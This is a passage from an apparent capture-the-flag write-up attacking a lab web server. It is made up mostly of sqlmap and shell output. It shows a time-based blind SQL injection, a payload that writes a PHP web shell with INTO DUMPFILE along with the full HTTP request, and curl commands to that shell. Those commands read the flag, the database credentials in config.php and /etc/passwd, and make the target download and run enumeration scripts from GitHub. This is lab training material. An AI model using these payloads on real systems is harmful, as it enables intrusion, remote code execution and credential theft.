[02:31:52] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:32:03] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:32:10] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[02:32:10] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'
[02:32:21] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)' injectable
[02:32:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:32:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:32:28] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[02:32:35] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[02:32:41] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[02:32:47] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[02:32:53] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[02:32:59] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[02:33:05] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[02:33:12] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[02:33:18] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[02:33:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[02:33:31] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[02:33:37] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[02:33:43] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[02:33:49] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[02:33:55] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[02:34:02] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[02:34:08] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[02:34:14] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[02:34:20] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[02:34:26] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 3369 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: command=(SELECT 5855 FROM (SELECT(SLEEP(5)))kMNx)&submit=Execute
---
[02:36:33] [INFO] the back-end DBMS is MySQL
[02:36:33] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[02:36:33] [CRITICAL] unable to connect to the target URL ('Broken pipe'). sqlmap is going to retry the request(s)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
web server operating system: Linux CentOS
web application technology: Apache 2.4.37, PHP 7.2.11
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[02:36:51] [INFO] fetching database users
[02:36:51] [INFO] fetching number of database users
[02:36:52] [INFO] retrieved: 1
[02:36:58] [INFO] retrieved:
[02:37:04] [INFO] adjusting time delay to 2 seconds due to good response times
'orders'@'%'
database management system users [1]:
[*] 'orders'@'%'
[02:38:52] [INFO] fetching database users password hashes
[02:38:52] [INFO] fetching database users
[02:38:52] [INFO] fetching number of password hashes for user 'orders'
[02:38:52] [INFO] retrieved:
[02:38:53] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[02:38:53] [INFO] retrieved:
[02:38:54] [WARNING] unable to retrieve the number of password hashes for user 'orders'
[02:38:54] [ERROR] unable to retrieve the password hashes for the database users
[02:38:54] [INFO] fetched data logged to text files under '/home/jeff/.sqlmap/output/192.168.1.28'
[*] ending @ 02:38:54 /2020-07-15/
jeff@kali:~/Documents/CTFs/CreditCardScammers$ sqlmap --dbms=MySQL -r burp.txt --os-shell
___
__H__
___ ___[']_____ ___ ___ {1.4.7.5#dev}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 02:40:27 /2020-07-15/
[02:40:27] [INFO] parsing HTTP request from 'burp.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[02:40:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: command=(SELECT 5855 FROM (SELECT(SLEEP(5)))kMNx)&submit=Execute
---
[02:40:31] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[02:40:50] [INFO] confirming MySQL
[02:40:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[02:41:01] [INFO] adjusting time delay to 2 seconds due to good response times
[02:41:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.4.37, PHP 7.2.11
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[02:41:01] [INFO] going to use a web backdoor for command prompt
[02:41:01] [INFO] fingerprinting the back-end DBMS operating system
[02:41:01] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] Y
got a 302 redirect to 'http://192.168.1.28:80/_admin/dist/login.html'. Do you want to follow? [Y/n] n
[02:41:20] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
[02:41:26] [WARNING] unable to automatically parse any web server path
[02:41:26] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[02:41:41] [WARNING] unable to upload the file stager on '/var/www/'
[02:41:41] [INFO] trying to upload the file stager on '/var/www/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:41] [WARNING] unable to upload the file stager on '/var/www/_admin/dist/'
[02:41:41] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[02:41:42] [WARNING] unable to upload the file stager on '/var/www/html/'
[02:41:42] [INFO] trying to upload the file stager on '/var/www/html/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:42] [WARNING] unable to upload the file stager on '/var/www/html/_admin/dist/'
[02:41:42] [INFO] trying to upload the file stager on '/var/www/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[02:41:42] [WARNING] unable to upload the file stager on '/var/www/htdocs/'
[02:41:42] [INFO] trying to upload the file stager on '/var/www/htdocs/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:43] [WARNING] unable to upload the file stager on '/var/www/htdocs/_admin/dist/'
[02:41:43] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[02:41:43] [WARNING] unable to upload the file stager on '/usr/local/apache2/htdocs/'
[02:41:43] [INFO] trying to upload the file stager on '/usr/local/apache2/htdocs/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:43] [WARNING] unable to upload the file stager on '/usr/local/apache2/htdocs/_admin/dist/'
[02:41:43] [INFO] trying to upload the file stager on '/usr/local/www/data/' via LIMIT 'LINES TERMINATED BY' method
[02:41:44] [WARNING] unable to upload the file stager on '/usr/local/www/data/'
[02:41:44] [INFO] trying to upload the file stager on '/usr/local/www/data/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:44] [WARNING] unable to upload the file stager on '/usr/local/www/data/_admin/dist/'
[02:41:44] [INFO] trying to upload the file stager on '/var/apache2/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[02:41:44] [WARNING] unable to upload the file stager on '/var/apache2/htdocs/'
[02:41:44] [INFO] trying to upload the file stager on '/var/apache2/htdocs/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:45] [WARNING] unable to upload the file stager on '/var/apache2/htdocs/_admin/dist/'
[02:41:45] [INFO] trying to upload the file stager on '/var/www/nginx-default/' via LIMIT 'LINES TERMINATED BY' method
[02:41:45] [WARNING] unable to upload the file stager on '/var/www/nginx-default/'
[02:41:45] [INFO] trying to upload the file stager on '/var/www/nginx-default/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:45] [WARNING] unable to upload the file stager on '/var/www/nginx-default/_admin/dist/'
[02:41:45] [INFO] trying to upload the file stager on '/srv/www/htdocs/' via LIMIT 'LINES TERMINATED BY' method
[02:41:46] [WARNING] unable to upload the file stager on '/srv/www/htdocs/'
[02:41:46] [INFO] trying to upload the file stager on '/srv/www/htdocs/_admin/dist/' via LIMIT 'LINES TERMINATED BY' method
[02:41:46] [WARNING] unable to upload the file stager on '/srv/www/htdocs/_admin/dist/'
[02:41:46] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 83 times
[02:41:46] [INFO] fetched data logged to text files under '/home/jeff/.sqlmap/output/192.168.1.28'
[*] ending @ 02:41:46 /2020-07-15/
> Since SQLmap did not worked I decided to perform some basic PHP Webshell upload tests. The first attempt worked.
-----------------------------------------------------------------------------------------------------------------
=> I entered manually the payload: select "<?php system($_GET[cmd]);?>" INTO DUMPFILE '/var/www/html/webshell.php'
POST /_admin/dist/manage.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: fr-fr
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.28
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Connection: close
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.28/_admin/dist/manage.php
Content-Length: 139
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2
command=select+%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%22+INTO+DUMPFILE+%27%2Fvar%2Fwww%2Fhtml%2Fwebshell.php%27+&submit=Execute
=> RCE as the service account "apache"
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=id
uid=48(apache) gid=48(apache) groups=48(apache)
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=uname -a
Linux
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=ls
LICENSE
README.md
_admin
buynow.php
class
css
gulpfile.js
img
index.html
package-lock.json
package.json
settings
vendor
webshell.php
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=ls%20/var/www/
cgi-bin
flag1.txt
html
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=ls%20/var/cgi-bin/
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=cat%20/var/www/flag1.txt
WPamTh2Y9uMdphb6z0cp
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=ls%20/var/www/html/settings/
config.php
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=cat%20settings/config.php
<?php
$databaseUsername = 'orders';
$databasePassword = 'Ob2UA15ubBtzpZrvdMYT';
$databaseServer = 'localhost';
$databaseName = 'orders';
?>
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd:x:998:996:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster:x:996:993:GlusterFS daemons:/run/gluster:/sbin/nologin
libstoragemgmt:x:995:992:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq:x:991:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
setroubleshoot:x:990:990::/var/lib/setroubleshoot:/sbin/nologin
sssd:x:989:987:User for sssd:/:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
cockpit-ws:x:988:986:User for cockpit-ws:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
chrony:x:987:985::/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
nginx:x:986:984:Nginx web server:/var/lib/nginx:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
moneygrabber:x:1000:1000::/home/moneygrabber:/bin/bash
admin:x:1001:1001::/home/admin:/bin/bash
I tried to log into the ssh server using the SQL password with the usernames "admin", "moneygrabber" and "root" but it did not worked.
=======================================================================================================================================================
Step 3. Post-exploitation - Linux enumeration (LinEnum, Linux exploit suggester, manual checks)
=======================================================================================================================================================
1. Linux exploit suggester
--------------------------
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=wget%20https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh%20-O%20les.sh
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=chmod%20765%20les.sh
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=./les.sh
Available information:
Kernel version: 4.18.0
Architecture: x86_64
Distribution: RHEL
Distribution version: 8
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
74 kernel space exploits
45 user space exploits
Possible Exploits:
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2019-13272] PTRACE_TRACEME
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
Comments: Requires an active PolKit agent.
2. LinEnum
-----------------
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=wget%20https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=chmod%20765%20LinEnum.sh
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl http://192.168.1.28/webshell.php?cmd=./LinEnum.sh%20-t%20-r%20report
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
[-] Debug Info
[+] Report name = report-15-07-20
[+] Thorough tests = Enabled
Scan started at:
Wed Jul 15 02:35:12 BST 2020
### SYSTEM ##############################################
[-] Kernel information:
Linux ppeshop 4.18.0-147.8.1.el8_1.x86_64 #1 SMP Thu Apr 9 13:49:54 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
[-] Kernel information (continued):
Linux version 4.18.0-147.8.1.el8_1.x86_64 ([email protected]) (gcc version 8.3.1 20190507 (Red Hat 8.3.1-4) (GCC)) #1 SMP Thu Apr 9 13:49:54 UTC 2020
[-] Specific release information:
CentOS Linux release 8.1.1911 (Core)
NAME="CentOS Linux"
VERSION="8 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="8"
PLATFORM_ID="platform:el8"
PRETTY_NAME="CentOS Linux 8 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:8"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-8"
CENTOS_MANTISBT_PROJECT_VERSION="8"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="8"
CentOS Linux release 8.1.1911 (Core)
CentOS Linux release 8.1.1911 (Core)
[-] Hostname:
ppeshop
### USER/GROUP ##########################################
[-] Current user/group info:
uid=48(apache) gid=48(apache) groups=48(apache)
[-] Users that have previously logged onto the system:
Username Port From Latest
root pts/0 192.168.56.111 Mon May 11 16:04:36 +0100 2020
apache pts/0 Sun May 10 11:20:48 +0100 2020
moneygrabber pts/0 Sun May 10 11:05:38 +0100 2020
[-] Who else is logged on:
02:35:12 up 2:28, 0 users, load average: 0.17, 0.14, 0.11
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(bin) gid=1(bin) groups=1(bin)
uid=2(daemon) gid=2(daemon) groups=2(daemon)
uid=3(adm) gid=4(adm) groups=4(adm)
uid=4(lp) gid=7(lp) groups=7(lp)
uid=5(sync) gid=0(root) groups=0(root)
uid=6(shutdown) gid=0(root) groups=0(root)
uid=7(halt) gid=0(root) groups=0(root)
uid=8(mail) gid=12(mail) groups=12(mail)
uid=11(operator) gid=0(root) groups=0(root)
uid=12(games) gid=100(users) groups=100(users)
uid=14(ftp) gid=50(ftp) groups=50(ftp)
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
uid=81(dbus) gid=81(dbus) groups=81(dbus)
uid=999(systemd-coredump) gid=997(systemd-coredump) groups=997(systemd-coredump)
uid=193(systemd-resolve) gid=193(systemd-resolve) groups=193(systemd-resolve)
uid=59(tss) gid=59(tss) groups=59(tss)
uid=998(polkitd) gid=996(polkitd) groups=996(polkitd)
uid=997(unbound) gid=994(unbound) groups=994(unbound)
uid=32(rpc) gid=32(rpc) groups=32(rpc)
uid=996(gluster) gid=993(gluster) groups=993(gluster)
uid=995(libstoragemgmt) gid=992(libstoragemgmt) groups=992(libstoragemgmt)
uid=994(saslauth) gid=76(saslauth) groups=76(saslauth)
uid=991(dnsmasq) gid=991(dnsmasq) groups=991(dnsmasq)
uid=75(radvd) gid=75(radvd) groups=75(radvd)
uid=990(setroubleshoot) gid=990(setroubleshoot) groups=990(setroubleshoot)
uid=989(sssd) gid=987(sssd) groups=987(sssd)
uid=107(qemu) gid=107(qemu) groups=107(qemu),36(kvm)
uid=988(cockpit-ws) gid=986(cockpit-ws) groups=986(cockpit-ws)
uid=29(rpcuser) gid=29(rpcuser) groups=29(rpcuser)
uid=74(sshd) gid=74(sshd) groups=74(sshd)
uid=987(chrony) gid=985(chrony) groups=985(chrony)
uid=72(tcpdump) gid=72(tcpdump) groups=72(tcpdump)
uid=48(apache) gid=48(apache) groups=48(apache)
uid=986(nginx) gid=984(nginx) groups=984(nginx)
uid=27(mysql) gid=27(mysql) groups=27(mysql)
uid=1000(moneygrabber) gid=1000(moneygrabber) groups=1000(moneygrabber)
uid=1001(admin) gid=1001(admin) groups=1001(admin)
[-] It looks like we have some admin users:
uid=3(adm) gid=4(adm) groups=4(adm)
[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd:x:998:996:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster:x:996:993:GlusterFS daemons:/run/gluster:/sbin/nologin
libstoragemgmt:x:995:992:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq:x:991:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd:x:75:75:radvd user:/:/sbin/nologin
setroubleshoot:x:990:990::/var/lib/setroubleshoot:/sbin/nologin
sssd:x:989:987:User for sssd:/:/sbin/nologin
qemu:x:107:107:qemu user:/:/sbin/nologin
cockpit-ws:x:988:986:User for cockpit-ws:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin